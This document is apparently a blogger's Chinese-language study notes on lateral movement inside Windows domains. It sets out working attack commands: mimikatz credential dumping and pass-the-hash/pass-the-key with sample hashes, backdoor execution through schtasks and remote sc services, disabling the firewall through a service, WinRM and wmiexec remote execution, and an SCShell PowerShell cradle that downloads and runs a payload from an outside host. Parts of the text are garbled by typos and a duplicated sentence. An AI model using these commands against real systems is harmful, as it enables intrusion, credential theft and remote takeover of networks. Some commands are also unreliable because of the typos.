一、利用Windows计划任务横向移动、检测与防御
1.域横向明文传递at&schtasks计划任务
mimikatz 获取webpc账户密码
mimikatz # privilege::debug //提升mimikatz权限debug
sekurlsa::logonpasswords //读取本地存储密码
通过win自带系统命令,扫描网段存活主机
FOR /L %i in(1,1,254)DO @ping -w 1 -n 1 192.168.217.%i | findstr “TTL=”
利用流程:
1.1、建立ipc连接到目标主机
net use \\192.168.217.17\ipc$ "password" /user:"administrator"
net use //查看当前主机所建立的连接
1.2、创建计划任务执行脚本
可以替换计划任务内容,可以是msf 生成的木马后门 去上传至目标服务器创建计划任务去执行获取shell
copy 11.exe \\192.168.217.17\c$
//将文件复制到目标地址
schtasks /create /s 192.168.217.17 /ru "SYSTEM"/tn backdoor /sc DAILY /tr c:11 /F
//创建计划任务
schtasks /run /s 192.168.217.17/tn backdoor
//执行计划任务
1.3删除ipc连接
schtasks /delete /s 192.168.217.17/tn backdoor /f #删除backdoor任务
1.4、通过atexec.exe 去连接存活主机
利用SC进行横向移动
sc 是windwos系统提示符中SC工具命令集,主要是来对操作系统服务进行管理,原名 service服务简化 名为SC
SC可以对主机远程创建服务来进行横向移动 使用SC 命令远程对windows需要建立IPC$连接, 否则直接执行会返回拒绝访问
步骤:
1.先与域内主机建立IPC$连接
2.使用copy 复制生成的木马后门到目标主机中
3.利用SC 在目标主机中 创建 sc服务
4.拿到shell权限后,结束渗透过程,删除服务
一、建立ipc$连接
二、使用copy 复制生成的木马
三、利用SC 命令去执行
1.创建一个后门服务
sc \\192.168.217.129 create backdoor binpath= "c:\1.dll"
2.由于是生成dll 文件 启动过程中 需要执行命令, rundll32.exe xxx.dll,start
3.kali 或者搭建在服务器上的msf ,运行监听等待反弹shell
4.获得DC 域控权限,
4.1 结束后删除服务
sc \\192.168.217.129 delet binshell
翻阅文章学习过程中 sc 也可以通过服务来关闭防火墙
sc \\192.168.217.129 create unablefirewall binpath= "netsh advfirewall set
allprofiles state off"
sc \\192.168.217.129 start unablefirewall
原理分析与总结
sc 作为windows 服务命令集,入侵者通过域内主机权限,在DC默认开启ipc 连 接 的 情 况 下 , 可 以 在 建 立 i p c 连接的情况下,可以在建 立ipc 连接的情况下,可以在建立ipc链接后任意通过copy命令在域内进行上传文件,上传后门木马病毒,通过sc的自带命令,在DC主
机中建立服务,启动服务,建立和启动的过程中,都会将后门木马病毒进行捆绑执行,例如.dll,.exe等
在服务启动的过程中将后门木马病毒启动,获取shell,造成一定的危害
SCShell进行横向移动
一、SCShell 是无文件横向移动的工具,它依赖ChangeServiceConfigA 来运行命令,工具的优点是SMB
执行身份验证,一切都通过DCERPC执行,无需创建服务,只需要通过ChangeServiceConfigAAPI远程
打开服务并且修改二进制文件路径即可(则需要事先指导对方服务名称)支持py,exe两种文件类型,
应用程序可以在不注册服务或者创建服务的情况下远程使用,也不必在远程系统上删除任何文件,一切
通过DCERPC执行,执行完成后,服务二进制路径则还原为原始路径, 查看文档资料,了解API的第五个参数是用于启动服务的二进制路径
1 BOOL ChangeServiceConfig(
2 SC_HANDLE hService // 打开服务时返回的句柄
3 DWORD dwServiceType, // 服务的类型
4 DWORD dwStartType, // 何时启动服务
5 DWORD dwErrorControl, // 错误控制代码
6 LPCTSTR lpBinaryPathName, // 服务的路径
7 LPCTSTR lpLoadOrderGroup, // 服务所属的组
8 LPDWORD lpdwTagId, // 服务的标记
9 LPCTSTR lpDependencies, // 依赖的其它服务和组
10 LPCTSTR lpServiceStartName,// 服务的启动用户
11 LPCTSTR lpPassword, //服务启动用户的密码
12 LPCTSTR lpDisplayName // 服务的显示名
二、SCShell 包含exe,py 和c的源码,exe,和py的实现功能并不一样
1.windows使用方法
scshell 需要 :目标,服务,payload,用户名,账号,密码
SCShell.exe 192.168.217.129 xblAuthManager“C:\windwos\system32\cmd.exe /c
C:\windwos\regsvr32.exe /s /n /u /i://服务/payload/”.administrator password
写入文件到DC
cs 生成ps1远程执行文件,通过scshell 工具 调用cmd 远程执行powershell 执行ps1
shell scshell.exe 10.10.10.10 defragsvc "C:\windows\system32\cmd.exe /cpowershell.exe IEX(New-ObjectNet.WebClinet).DownloadString('http://192.168.50.146:8000/123.ps1')" .
administrator 1qaz@wsx
思路:
scshell 在使用过程中,需要知道对方服务名称,defragsvc 服务即是 svchost.exe系统默认有的服务, 通过调用服务 在
tmp下创建一个1.txt,通过命令cs生成ps1后门,通过scshell远程调用执行ps1文件上 线cs
使用WinRM横向移动
winRM 是微软对ws-management协议的实现, 默认端口号为5985 (http)5986(https)
利用条件:
1.在win2012之后的版本中是默认开启的,低于2012的要手动开启winRM
2.防火墙对5986 5985 端口开放
3.配置过程中需要添加TrustedHosts 做实验的过程中出现报错需要添加TrustedHost=“*”
winrm set winrm/config/Client@{TrustedHosts="*"} 错误: 未知开关:encodedcomma
需要客户端计算机上运行以下命令:
PS C:> Set-item wsman:localhost\client\trustedhosts -value *
一、winrs利用过程
1.首先需要开启winrm winrm quickconfig
2.利用WinRM 服务远程执行命令
3.使用winrs 命令
winrs 是windows 远程shell 相当于winrm 的客户端
winrs -r:http//192.168.217.129:5985 -u:administrator -p:admin whoami
winrs -r:http://192.168.217.129:5985 -u:administrator -p:admin ipconfig
win7通过PowerShell winrs命令远程对域控DC 执行命令
二、使用 Invoke-Command 命令
三、使用Enter-PSSession 命令创建会话session
注意事项:使用Enter-Pssion 过程中 -name 的session ID 需要查看后对应链接后的session id 对
应
如:Get-PSSion 后查看 ID NAME 为 session1
在创建会话session 时候需要对应:
如:Enter-PSSession -Name session1
使用Wmiexec横向移动
1.wmiexec 是impacket工具包的一个工具,可以使用socks 代理入内网,使用简单
2.前期信息搜集过程中mimikatz获取明文密码, 使用该工具可以直接连接,如果对wmiexec.py指定- hashes选项的话,则可进行哈希传递。
PTH&PTK
PTH(pass the hash)利用lm 或者ntlm的哈希 进行传递攻击,原理就是攻击者可以通过LM hassh 和NTML
的访问远程主机或者服务,不用提供明文密码 注意:在高版本windows server 中密码将不再以明文的方式保存,而是以hash
的形式储存,在攻击时 获取到用户的hash后,可以直接通过hash来直接验证登录
Kerberos协议:
客户机将明文密码进行NTML哈希+时间戳加密(使用KRBTGT密码hash作为密钥)发送DC,DC对用户检测
成功后创建TGT (Ticket——Granting Ticket),将TGT进行加密签名返回客户机,只有域控用户才能
读取TGT,然后将客户机TGT发送域控DC请求TGS(票证授权)并且对TGT进行检测,检测成功后将
NTML以及TGT进行加密,加密结果返回给客户机
1.mimikatz 获取到账户的ntml 哈希值 然后通过mimikatz连接
2.mimikatz 使用pth连接后再去dir \192.168.217.129\c$查看目录
sekurlsa::pth /user:administrator /domain:zebra/ntml::f4e4e2795233ec0da9048153eb388a6b
3.命令执行后会弹出cmd 的PTH 窗口连接到客户端
4.在窗口内执行 ipc,dir连接
原理: 在后渗透中,获取到会话后通过mimikatz获取到凭证信息,NTML hash 值,在认证的过程中,用户首
先输入账号密码,然后将其加密hash ,再把加密后的hash存储到内存中,通过手段拿到hash值后,就
可以直接通过hash和内存hash对比,相同的结果后认证就会通过,再去通过ipc 或者其他连接方式,可 以直接登录拿到权限
PTK(pass the key)利用ekeys aes256 进行传递攻击
注意:PTK传递需要一个前提条件,需要域控安装KB2871997补丁的Win7/2008r2/8/2012(2019尝试也
可以,并没有装补丁)采用aes 256 连接
1. privilege::debug sekurlsa::ekeys 获取aes256值
2.sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值 hash
sekurlsa::pth/user:administrator/domain:zebra/aes256:bd25b5ae78c10e3fcda1c416b79
669
pth传递方式传递aes256值,在域内查询连接
由于2019没有安装补丁所以在连接过程中连接不了
以上内容博主作为笔记记录,部分地方解释不是很好,谅解